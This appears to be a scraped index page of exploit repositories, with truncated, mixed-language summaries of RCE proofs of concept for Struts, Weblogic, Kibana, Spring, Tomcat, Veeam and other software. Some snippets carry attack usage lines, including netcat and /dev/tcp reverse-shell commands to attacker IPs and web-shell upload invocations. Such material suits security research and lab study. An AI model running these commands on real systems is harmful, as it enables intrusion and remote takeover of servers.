struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 XML डिसीरियलाइज़ेशन RCE यह रिपॉजिटरी Apache Struts S2-052 CVE-2017-9805 के शोषण को दर्शाता है, जो दुर्भावनापूर्ण XML डिसीरियलाइज़ेशन का उपयोग करता है। यह शोषण INE eWPTX Practice Range – Struts XML Deserialization RCE lab को हल करते समय विकसित किया गया था। भेद्यता अवलोकन Apach...

CVE-2025-50286

Grav एडमिन डायरेक्ट इंस्टॉल RCE CVE-2025-50286 मेटास्प्लॉइट मॉड्यूल और प्रमाणित रिमोट कोड निष्पादन Authenticated RCE के लिए प्रयोगशाला सेटअप, जो Grav एडमिन प्लगइन के डायरेक्ट इंस्टॉल कार्यक्षमता में है। अवलोकन CVE: CVE-2025-50286 प्रभाव: प्रमाणित RCE वेक्टर: एडमिन पैनल → डायरेक्ट इंस्टॉल परिणाम:...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php $ip को phprevshell.php की पंक्ति 7 में बदलें nc -lvnp 1234...

CVE-2022-23614

CVE-2022-23614 CVE-2022-23614, GHSA-5mv2-rx3q-4w2v के लिए PoC Twig सॉर्ट फ़िल्टर कोड निष्पादन/सैंडबॉक्स बाईपास जैसा कि इस कमिट में देखा गया है - https://github.com/twigphp/Twig/commit/.., twig uasort को कॉलबैक पैरामीटर के रूप में उपयोगकर्ता द्वारा प्रदान किया गया फ़ंक्शन नाम पास कर रहा था यहाँ,...

CVE-2024-50379

L'exploitation manuelle est fastidieuse, j'ai donc bricolé un exploit... Utilisation : shell.jsp est le fichier shell, ggsl.jsp est le nom/chemin sous lequel il sera enregistré sur le serveur cible. ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp Clause de non-responsabilit...

ezEmu

ezEmu يتيح ezEmu للمستخدمين اختبار سلوكيات الخصوم عبر تقنيات تنفيذ متنوعة. يشبه إلى حد ما "إطار هجومي لفريق الأزرق "، لا يحتوي ezEmu على أي قدرات شبكية/تحكم وقائد ويركز بدلاً من ذلك على إنشاء تليمترية اختبار محلية. Windows انظر /Linux للـ ELF يتم تجميع ezEmu كـ parent.exe لتبسيط أشجار العمليات،...

SSH-Remote-Code-Execution

تنفيذ التعليمات البرمجية عن بُعد عبر SSH ثغرة يوم الصفر في SSH | من إعداد ClumsyLulz و Taylor Christian Newsome ملخص يحتوي هذا المستودع على برنامج مكتوب بلغة C يقبل معاملات إدخال ويولّد حزمة packet ليتم إرسالها إلى خادم عبر بروتوكول SSH. يخصّص البرنامج مخزنًا مؤقتًا buffer لحفظ البيانات، ويكتبها ...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （mukammalah fi khatwa wahida） الاستخدام: Python3 exploit.py -t -c نصائح: بدون صدى No echo مثال： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' ثم ستحصل على شل...

ntqueueapcthreadex-ntdll-gadget-injection

🧪 حقن أدوات NTDLL عبر NtQueueApcThreadEx مقدمة تُعد هذه الطريقة المبتكرة لاستخدام NtQueueApcThreadEx عبر إساءة استغلال مُعاملات ApcRoutine وSystemArgument0-3 بتمرير أداة pop r32; ret عشوائية، وسيلةً يمكن استخدامها لحقن الكود بشكل خفي. في هذا الإثبات PoC، يتم اختيار الأداة في هذه الحالة عشوائيًا م...

CVE-2023-0315

CVE-2023-0315 Froxlor रिमोट कोड एक्ज़ीक्यूशन CVE-2023-0315 के लिए आधिकारिक एक्सप्लॉइट...

exploit-CVE-2014-6271

Shellshock exploit + vulnerable environment Shellshock, जिसे Bashdoor के नाम से भी जाना जाता है, व्यापक रूप से उपयोग किए जाने वाले Unix Bash शेल में सुरक्षा बगों का एक समूह है, जिसमें से पहला 24 सितंबर 2014 को सार्वजनिक किया गया था। कई इंटरनेट-मुखी सेवाएं, जैसे कि कुछ वेब सर्वर तैनातियाँ, Bash का...

CVE-2022-22963

CVE-2022-22963 - Spring4shell لتشغيل تطبيق SpringBoot الضعيف، قم بتشغيل حاوية docker هذه مع تعريضها للمنفذ 8080. مثال: root@kitploit: docker run -it -d -p 8080:8080 bobcheat/springboot-public الاستغلال أمر Curl: root@kitploit: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

CVE-2020-0618

CVE-2020-0618 SQL Server Reporting Services CVE-2020-0618 में RCE भेद्यता सत्यापन POC सर्वर पर इस एप्लिकेशन का शोषण करने के लिए निम्नलिखित HTTP अनुरोध भेजा जा सकता है: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded...

es_inject

CVE-2014-3120 Elastic Search रिमोट कोड निष्पादन यह प्रोजेक्ट CVE-2014-3120 भेद्यता/गलत कॉन्फ़िगरेशन को प्रदर्शित करता है। यह आपको ES होस्ट करने वाले सिस्टम पर फ़ाइलों को पढ़ने और उनमें जोड़ने की अनुमति देता है, बशर्ते कि ES चलाने वाले उपयोगकर्ता के पास उन तक पहुंच हो। नोट्स इसके लिए वेब सर्वर की...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 انقر على Canvas للحصول على شل...

CVE-2018-1273

CVE-2018-1273 Environnement pour CVE-2018-1273 CVE-2018-1273 : RCE avec Spring Data Commons https://pivotal.io/security/cve-2018-1273 Application https://github.com/spring-projects/spring-data-examples/tree/master/web/example Construction root@kitploit: $ docker build -t cve-2018-1273 . Exécution...

CVE-2023-27532

CVE-2023-27532 كود إثبات المفهوم لاستغلال CVE-2023-27532 إما لتسريب بيانات الاعتماد النصية أو لتنفيذ أوامر عن بُعد. نظرة عامة للحصول على تحليل مفصل للثغرة وكيفية استغلالها، يرجى قراءة تحليل Rapid7 على AttackerKB Analysis. البناء افتح في Visual Studio. ستحتاج إما إلى إضافة أو تحديث المراجع إلى...

CVE-2017-8759_-SOAP_WSDL

ما هو CVE-2017-8759 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في SOAP WDSL توجد ثغرة أمنية في تنفيذ التعليمات البرمجية عن بُعد عندما يقوم Microsoft .NET Framework بمعالجة إدخال غير موثوق. يمكن للمهاجم الذي نجح في استغلال هذه الثغرة في برنامج يستخدم .NET Framework السيطرة على النظام المتأثر. يمكن للمها...

CVE-2018-2628

CVE-2018-2628 إعادة إنتاج ثغرة إلغاء التسلسل في WebLogic الحصول على شل على WebLogic python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || ...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – OpenSSH SCP कमांड इंजेक्शन भेद्यता पता लगाने की स्क्रिप्ट परिचय CVE-2020-15778 एक कमांड इंजेक्शन भेद्यता है जो OpenSSH द्वारा प्रदान की गई scp उपयोगिता में पाई गई संस्करण ≤ 8.3p1. यह समस्या एक हमलावर को क्लाइंट सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है यदि scp को एक...